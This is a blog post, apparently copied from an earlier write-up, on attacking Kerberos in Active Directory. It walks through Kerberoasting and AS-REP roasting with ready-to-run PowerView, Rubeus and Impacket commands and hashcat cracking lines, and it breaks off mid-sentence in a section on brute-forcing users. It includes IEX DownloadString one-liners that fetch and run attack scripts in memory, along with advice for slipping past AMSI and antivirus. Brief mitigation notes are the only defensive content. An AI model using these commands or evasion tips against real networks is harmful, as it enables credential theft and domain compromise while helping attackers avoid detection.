{"id":8854,"date":"2021-11-08T14:09:00","date_gmt":"2021-11-08T12:09:00","guid":{"rendered":"https:\/\/tajdini.net\/blog\/?p=8854"},"modified":"2022-07-23T03:37:24","modified_gmt":"2022-07-23T01:37:24","slug":"how-to-attack-kerberos","status":"publish","type":"post","link":"https:\/\/tajdini.net\/blog\/identity-and-active-directory\/how-to-attack-kerberos\/","title":{"rendered":"How To Attack Kerberos"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\" id=\"kerberos-fundamentals\">Kerberos Fundamentals<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Kerberos is a network authentication protocol that works on the principle of issuing tickets to nodes to allow access to services\/resources based on privilege level.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Kerberos is widely used throughout Active Directory and sometimes Linux but truthfully mainly Active Directory environments.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>TLDR: https:\/\/www.roguelynn.com\/words\/explain-like-im-5-kerberos\/<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I am aiming to approaching this writeup with a medium-high level overview, if you would like a true low level understanding of Kerberos I advise you look into harmj0y &amp; Sean Metcalf. They are true wizards and know every single little detail.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To provide a brief overview I want to summarize the common Kerberos terminologies you may found being thrown about.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Server\/Client Terminologies:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Client Machine<\/strong> &#8211; Machine whom wants to access service that supports Kerberos authentication.<\/li><li><strong>Service Machine<\/strong> &#8211; Server\/Computer hosting \u201cService\u201d that supports Kerberos authentication<\/li><li><strong>KDC (Key Distribution Centre<\/strong>) &#8211; The KDC is a very very important part of a Active Directory infrastructure as it is responsible for authenticating and distributing tickets. In AC Environments the KDC is installed on the Domain Controller <strong>(DC)<\/strong><\/li><li><strong>SPN (Service Principal Name)<\/strong> &#8211; This is the name of the service, sometimes you may have a user account with the <strong>SPN<\/strong> attribute configured which defines it as a service account. An example of a <strong>SPN<\/strong> would be.<ul><li><code>CIFS\/SERVERNAME-2016RDS.mahyarAD.local<\/code><\/li><li><code>MSSQL\/MSSQLSERVER.<code>mahyar<\/code><\/code>AD<code>.local<\/code><\/li><\/ul><\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Ticket Terminologies:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>Ticket Granting Ticket (TGT)<\/strong> &#8211; This is a ticket assigned on a per-user basic that each user uses to authenticate to the <strong>KDC<\/strong> with and issues requests for <code>TGS<\/code> ticket aka <strong>Service Tickets<\/strong><\/li><li><strong>Ticket Granting Server (TGS)<\/strong> &#8211; A authentication subset of the <strong>KDC<\/strong> that issues <strong>Service Tickets<\/strong> after verifying an end user\u2019s <strong>TGT<\/strong> and if they have access to the requested resource.<\/li><li><strong>Service Ticket (ST)<\/strong> &#8211; This is a ticket granted to you by the **TGS **for authentication purposes against services.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Slight Disclaimer<\/strong>: Throughout this writeup I commonly refer to <strong>Service Tickets (ST)<\/strong> as <strong>TGS Tickets<\/strong>\u2026 Just bare with me okay. You know what I mean right?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now I could ramble on now about the complete process of Requesting a <strong>TGT<\/strong>, <strong>TGS Ticket, ST<\/strong>, the encryption etc etc, but I want to keep this at medium-high level and if you want that true in depth information check out the <strong>TLDR<\/strong> link here<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/www.roguelynn.com\/words\/explain-like-im-5-kerberos\/\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>I was planning on explaining here the Kerberos Process from requesting a TGT &amp; TGS Ticket at a low level and then I found this pic, so I will let it do the talking.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/www.varonis.com\/blog\/wp-content\/uploads\/2018\/07\/Kerberos-Graphics-1-v2-787x790.jpg\" alt=\"a simple Kerberos authentication diagram\"\/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"kerberoast\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-1\"><\/a>Kerberoast<\/h1>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"introduction\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Introduction<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Kerberoasting is an extremely common attack in active directory environments which targets Active Directory accounts with the SPN value set. Common accounts with the SPN <strong>(Service Principal Name)<\/strong> set are service accounts such as IIS User\/MSSQL etc.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Kerberoasting involves requesting a Kerb Service Ticket (TGS) from a Windows Domain Machine or Kali Box using something like <strong>GetUserSPN\u2019s.py<\/strong>. The problem with <strong>TGS<\/strong> is once the the <strong>DC<\/strong> looks up the target <strong>SPN<\/strong> it encrypts the <strong>TGS<\/strong> with the <strong>NTLM Password Hash<\/strong> of the targeted user account.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-windows\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Windows<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">There are numerous ways to enumerate service accounts and find Kerberoast targets so I will cover a few below, both from Windows Machines &amp; Linux Machines.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"powerview\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Powerview<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">The First will be PowerView.ps1 &#8211; If you have not heard of PowerView.ps1 by now and you are researching Kerberos attacks then you need to go back a little\u2026<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">PowerView is an insanely powerful <strong>.ps1<\/strong> created by Harmj0y which makes Enumerating &amp; Exploiting AD Environments with PowerShell extremely easy. Even though Powershell is extremely monitored in this day and age by defenders it is still highly useful.<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/github.com\/PowerShellEmpire\/PowerTools\/blob\/master\/PowerView\/powerview.ps1\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Enumeration<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">First let\u2019s import <code>PowerView.ps1<\/code> into Memory with<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>IEX (New-Object Net.WebClient).DownloadString('http:\/\/werbserver:80\/PowerView.ps1')\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Of course <code>AMSI<\/code> will probably catch this on <code>WIN10 1803<\/code> but I will leave evasion upto yourselfs. There are numerous bypasses in my <code>h4cks<\/code> Repo and numerous out there online. <code>AMSI<\/code> is just string detection so it\u2019s easy to slip past.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now with PowerView in memory on a <strong>Domain-Joined Machine<\/strong> we can simply run<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Get-DomainUser -SPN\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The <code>Get-DomainUser<\/code> function also supports the <code>-Credential<\/code> switch which allows you to pass a seperate credential through. For ex.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$secpasswd = ConvertTo-SecureString 'pass' -AsPlainText -Force\n$cred = New-Object System.Management.Automation.PSCredential('mahyar\\user', $secpasswd)\n\nGet-DomainUser -SPN -Credential $cred\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">That\u2019s it! It will return all users with SPN Value set.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Exploit<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now with the target service accounts in our scopes we can actually request a ticket for cracking which couldn\u2019t be easier with <code>PowerView.ps1<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Just simply run the below command<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Get-DomainSPNTicket -SPN &lt;spn&gt; -OutputFormat hashcat -Credential $cred\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This will return a SPN Ticket encrypted with the <code>NTLM<\/code> hash of the target account. Bare in mind here I choose Hashcat over John as I use a Nvidia cracking rig but works way way better with Hashcat.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we can simply crack with something like<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hashcat64.exe -a -m 13100 SPN.hash \/wordlists\/rockyou.txt\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Of course this is as simple cracking attack as it\u2019s just against a simple wordlist but if this was in the real world you would through rule sets and much more probable wordlists into the mix.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"rubeus\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Rubeus<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Second up we have Rubeus which is a relatively new tool developed and released by the wizards at SpectreOps. Without them the hacking community wouldn\u2019t be the same.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#\/.NET meaning it is a lot harder for defenders to detect it it\u2019s reflectively loaded using something like Cobalt\u2019s <code>execute-assembly<\/code> or <code>SILENTTRINITY.<\/code> You can also reflectively load it from PowerShell but I will be covering <code>.NET<\/code> in greater detail in a future article.<\/p><p>https:\/\/github.com\/GhostPack\/Rubeus`<\/p><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Enumeration<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now by default I don\u2019t believe Rubeus has a <code>Enumerate<\/code> feature that simply enumerate user with the SPN Value set but truthfully that\u2019s not the hard part when it comes to Kerberoasting, with a little bit of Powershell \/ LDAP Magic you can find what your looking for. Below are some examples.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>get-aduser -filter {AdminCount -eq 1} -prop * | select name,created,passwordlastset,lastlogondate\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>dsquery * \"ou=domain controllers,dc=yourdomain,dc=com\" -filter \"(&amp;(objectcategory=computer)\n(servicePrincipalName=*))\" -attr distinguishedName servicePrincipalName &gt; spns.txt\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">There are more techniques out there such as <code>Get-DomainUser -SPN<\/code> as talked about above and a lot of other ways that I will leave to your imagination.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now we are armed with target accounts let\u2019s boot up <code>Rubeus<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Exploit<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To get Rubeus you will actually need <code>Visual Studio 2017<\/code> or anything that can compile <code>.NET<\/code>. In my case I use Visual Studio and build myself an assembly. Luckily at the moment the default build of Rubeus is only detected by one AV vendor on Virus Total however if your AV is flagging it just change some strings and comments and rebuild the project and your AV will shut up. That\u2019s the beauty of open-source C# \/ .NET Projects, much easier to circumvent anti-virus solutions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Armed with out assembly\/exe we can simply drop it on the target <strong>Domain-Joined Machine<\/strong> in the context of a domain user and start Roasting.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Rubeus Github has an amazing explanation on all it\u2019s features and it\u2019s ability to target specific <code>OU's<\/code> <code>Users<\/code> etc etc so I will try not to copy it word-for-word but merely show it\u2019s capabilities.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">First we can try to Roast all Users in the Current Domain (May be Noise)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar\\Desktop > .\\Rubeus kerberoast\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Kerberoast All Users in a Specific OU (Good if Organization has all Service Accounts in a Specific OU)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar\\Desktop > .\\Rubeus kerberoast \/ou:OU=SerivceAcc,DC=mahyarAD,DC=local\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This may generate a lot of Output so we can Output all the Hashes to a file for easier Management and Cracking.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/outfile:C:\\Temp\\TotallyNotHashes.txt\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Roasting a Specific Users or SPN<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar\\Desktop > .\\Rubeus kerberoast \/user:mssqlservice\n\nPS C:\\Users\\mahyar\\Desktop > .\\Rubeus kerberoast \/spn:MSSQLSvc\/SQL.mahyarAD.local\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">There is also the ability to Roast users in a foreign trust domain providing the trust relationships allow you but you can check out the Rubeus Repo for full explanation on that. It\u2019s really cool.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"invoke-kerberoastps1\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Invoke-Kerberoast.ps1<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">The final script I will talk about in the Windows Section is <code>Invoke-Kerberoast.ps1<\/code> which isn\u2019t nearly as powerful as <code>Rubeus<\/code> or <code>Powerview<\/code> hence why I will not split it up into Enumeration\/Exploit like previous sections.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>Invoke-Kerberoast.ps1<\/code>. can be Invoked and executed using the below <code>one-liner<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Temp &gt; IEX(new-object Net.WebClient).DownloadString(\"https:\/\/raw.githubusercontent.com\/EmpireProject\/Empire\/master\/data\/module_source\/credentials\/Invoke-Kerberoast.ps1\");Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast\n\n#Download Invoke-Kerberoast.ps1 into Memory (AMSI May Flag)\nIEX(new-object Net.WebClient).DownloadString(\"https:\/\/raw.githubusercontent.com\/EmpireProject\/Empire\/master\/data\/module_source\/credentials\/Invoke-Kerberoast.ps1\")\n\n#Invoke-Kerberoast and Output to Hashcat Format\n\nInvoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-linux\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Linux<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Kerberoasting from Linux is a little but different as we are most likely not authenticated to the domain in anyway so will have to pass a stolen Kerberos ticket through for authentication or domain credentials.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In my experience I have found Kerberoasting from a <strong>Domain-Joined Machine<\/strong> is way way easier and typically hassle free however sometime we don\u2019t have the option.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To enumerate Users with <code>SPN<\/code> value set we can use one of <code>Impackets<\/code> great scripts <code>GetUserSPN's.py<\/code><\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/GetUserSPNs.py\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">If you haven\u2019t heard of Impacket by now it\u2019s a collection of python scripts for attacking Windows and has some seriously dangerous scripts in it\u2019s repo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Armed with <code>GetUserSPNs.py<\/code> and a already pwned <code>Domain Users<\/code> credentials we can simply run the below<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mahyar@kali:\/scripts\/> python GetUserSPNs.py mahyarAD\/pwneduser:pwnedcreds -outputfile hashes.kerberoast\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This outputted file can now be sent to Hashcat to crack, there are alternative means to cracking on Linux but in all my time Hacking I have never once had a good time trying to crack on Linux. I find Hashcat on a Windows machine with NVIDIA cards is the best route (personally).<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"mitigation--defending-against-kerberoast\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Mitigation \/ Defending <strong>against Kerberoast<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The most effective technique of defending against this is of course to make sure Service Accounts have extremely long passwords, 32 of extremely high complexity.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In terms of detecting Kerberoast it can be quite tricky as it\u2019s normal activity for <code>TGS<\/code> tickets to be requested however you can enable <code>Audit Kerberos Service Ticket Operations<\/code> under Account Logon to log <code>TGS <\/code>ticket requests.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However as this is normal operation you will get ALOT ALOT of <code>Event 4769<\/code> &amp; <code>Event 4770<\/code> alerts<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"as-rep-roasting\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-1\"><\/a>AS-REP Roasting<\/h1>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"introduction-1\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Introduction<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><code>AS-REP<\/code> roasting is an attack that is often-overlooked in my opinion it is not extremely common as you have to explicitly set <code>Accounts Does not Require Pre-Authentication<\/code> aka <code>DONT_REQ_PREAUTH<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>Pre-Authentication<\/code> is the first step in Kerberos Authentication and it\u2019s main role is to try prevent against brute-force password guessing attacks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Typcially during Pre-Auth a user will enter his creds which will be used to encrypt a time stamp and the DC will decrypt it to validate that the correct creds were used. If the DC verifies okay it will issue a <code>TGT<\/code> however if <code>Pre-Authentication<\/code> is disabled it would allow an attacker to request a ticket for any user and the <code>DC <\/code>would simply return a <code>TGT<\/code> which will be encrypted similar to the <code>Kerberoast<\/code> attack which can be cracked offline.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>AS-REP<\/code> is cool as you don\u2019t even have to do it from a <strong>Domain-Joined Machine<\/strong> or <code>Domain-User<\/code> you just have to have access to request to the <code>KDC<\/code> however being on a <strong>Domain-Joined Machine<\/strong> or having Domain Creds will make the enumeration process way easier as you can simply use LDAP Filter or PowerView to find targets.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Such as<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-windows-1\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Windows<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Just like Kerberoasting AS-REP Roasting can be done from both Windows &amp; Linux but we will cover Windows first as it\u2019s much more convenient. We are attacking windows after all!<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"powerview-1\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Powerview<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Enumeration<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">First let\u2019s import <code>PowerView.ps1<\/code> into Memory with<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>IEX (New-Object Net.WebClient).DownloadString('http:\/\/werbserver:80\/PowerView.ps1')\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">As said above under <code>Kerberoasting<\/code> <code>AMSI<\/code> will probably flag this on <code>WIN10 1803<\/code> but I will leave evasion upto yourselves.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now with PowerView in memory on a <strong>Domain-Joined Machine<\/strong> we can simply run<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">You can also do the below<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Get-DomainUser victimuser | Convert-FromUACValue\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Exploit<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Armed with our target user with <code>DONT_REQ_PREAUTH<\/code> set we can now request the relevant ticket to crack offline. Sadly <code>PowerView.ps1<\/code> does not have a ASREP Roasting Function included however the author <code>harmj0y<\/code> or <code>PowerView<\/code> created a fantastic module to do this with<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/github.com\/HarmJ0y\/ASREPRoast\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Simply Import the Module with<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Import-Module .\\ASREPRoast.ps1\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">And now we can simply run<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Get-ASRepHash -Domain mahyarAD.local -UserName mahyar\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This will return a Hash which you can crack with Hashcat with the below Syntax<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hashcat64.exe -a 0 -m 7500 asrep.hash \/wordlists\/rockyou.txt\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><em>PS: You will have to install the latest version of Hashcat to get the support for AS-REP Cracking<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>John also support AS-REP Cracking but I have never tried it<\/em><\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"rebeus\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-4\"><\/a>Rebeus<\/h4>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"><p>Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#\/.NET meaning it is a lot harder for defenders to detect it it\u2019s reflectively loaded using something like Cobalt\u2019s <code>execute-assembly<\/code> or <code>SILENTTRINITY<\/code> You can also reflectively load it from PowerShell but I will be covering <code>.NET<\/code> in greater detail in a future article.<\/p><p>https:\/\/github.com\/GhostPack\/Rubeus<\/p><\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">The <code>asreproast<\/code> functionality of <code>Rebeus<\/code> actually is intended to fully replace harmj0ys <code>ASREPRoast<\/code> Powershell module I coupled with PowerView in the section above.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Enumeration<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Like Kerberoasting <code>Rubeus<\/code> does not have a specific enumeration functionality and is more intended for the exploiting section so I will leave the enumeration section above to do the talking.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>TLDR:<\/strong> Use PowerView to Enumeration or <code>Get-ADUser<\/code> coupled with <code>LDAP<\/code> queries to find your targets.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Exploit<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Sorry for the Copy &amp; Paste \ud83d\ude09<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To get Rubeus you will actually need <code>Visual Studio 2017<\/code> or anything that can compile <code>.NET<\/code>. In my case I use Visual Studio and build myself an assembly. Luckily at the moment the default build of Rubeus is only detected by one AV vendor on Virus Total however if your AV is flagging it just change some strings and comments and rebuild the project and your AV will shut up. That\u2019s the beauty of open-source C# \/ .NET Projects, much easier to circumvent anti-virus solutions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Armed with our assembly\/exe we can simply drop it on the target <strong>Domain-Joined Machine<\/strong> in the context of a domain user or execute it from our Windows Machine providing we can see the <code>KDC<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Rubeus Github has an amazing explanation on all it\u2019s features and it\u2019s ability to target specific <code>OU's<\/code> <code>Users<\/code> etc etc so I will try not to copy it word-for-word but merely show it\u2019s capabilities.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">First we can try to Roast all Users in the Current Domain (May be Noise)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar\\Desktop > .\\Rubeus asrep \/format:hashcat\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">ASREP All Users in a Specific OU (Good if Organization has all Service Accounts in a Specific OU)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar\\Desktop > .\\Rubeus asrep \/ou:OU=SerivceAcc,DC=mahyarAD,DC=local \/format:hashcat\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">This may generate a lot of Output so we can Output all the Hashes to a file for easier Management and Cracking.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/outfile:C:\\Temp\\TotallyNotHashes.txt\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Roasting a Specific Users<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PS C:\\Users\\mahyar\\Desktop > .\\Rubeus asrep \/user:mssqlservice \/format:hashcat\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"from-linux-1\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>From Linux<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Just like Kerberoasting, AS-REP Roasting can be done from both Windows &amp; Linux and I will cover Linux in this section even though I highly recommend you do this from a Windows Machine and\/or a Domain Joined Machine for ease of access.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Similar to Kerberoasting there is a very useful python script from the <code>Impacket<\/code> library that helps request <code>TGT's<\/code> for accounts with Pre-Auth disabled from Linux.<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/GetNPUsers.py\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Enumerate accounts with <code>PRE_AUTH<\/code> disabled from Linux is a little tricky unless you have already enumerated a target or have another Domain Users credentials in which you can execute LDAP Commands from Linux with something like <code>ldapsearch<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However let\u2019s say we are armed with <code>GetNPUsers.py<\/code> and a target in mind we can simply run the below<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mahyar@kali:\/scripts\/> python GetNPUsers.py mahyarAD\/ -usersfile TargetUsers.txt -format hashcat -outputfile hashes.asreproast\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"mitigation--defending-against-as-rep-roasting\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Mitigation \/ Defending against AS-REP Roasting<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The first step towards mitigating this vulnerability is to ensure that all your accounts within your environment have Kerberos Pre-Authentication enabled (Enabled by Default), Truthfully I do not see any reason for this to be disabled. Perhaps a reader can tell me why you would disable it.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However I would advise if you do need to disable this for some reason that the password set on the user account is 32+ and composed of extreme complexity.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"kerberos-user-enumeration-and-brute-force\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-1\"><\/a>Kerberos User Enumeration and Brute Force<\/h1>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"introduction-2\"><a href=\"https:\/\/m0chan.github.io\/2019\/07\/31\/How-To-Attack-Kerberos-101.html#header-3\"><\/a>Introduction<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">As Kerberos is an authentication protocol it is possible to perform brute-force attacks against it (providing we are careful). Kerberos brute-force has a lot of advantages for brute-forcing vs other protocols.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Kerberos indicates if you are using a <strong>CORRECT USERNAME<\/strong> but <strong>INCORRECT PASSWORD<\/strong> there we can Enumerate Users by sending a user list with bogus passwords. This will tell us if the usernames are correct or not. Great for User Enumeration.<\/li><li>A Domain Joined Account is not required, only access to the KDC<\/li><li>User Log-on Failures are not logged as the traditional Logon Failure you get with RDP Brute Force etc <strong>(Event ID: 4625)<\/strong> instead it is a Kerberos Pre-Auth Failure (<strong>4771<\/strong>) not ideal but certainly better than <strong>4625<\/strong><\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Ps: Be careful when Brute forcing\/Enumerating as accounts can still be locked out, I recommend you treat this as a password spray more than an aggressive 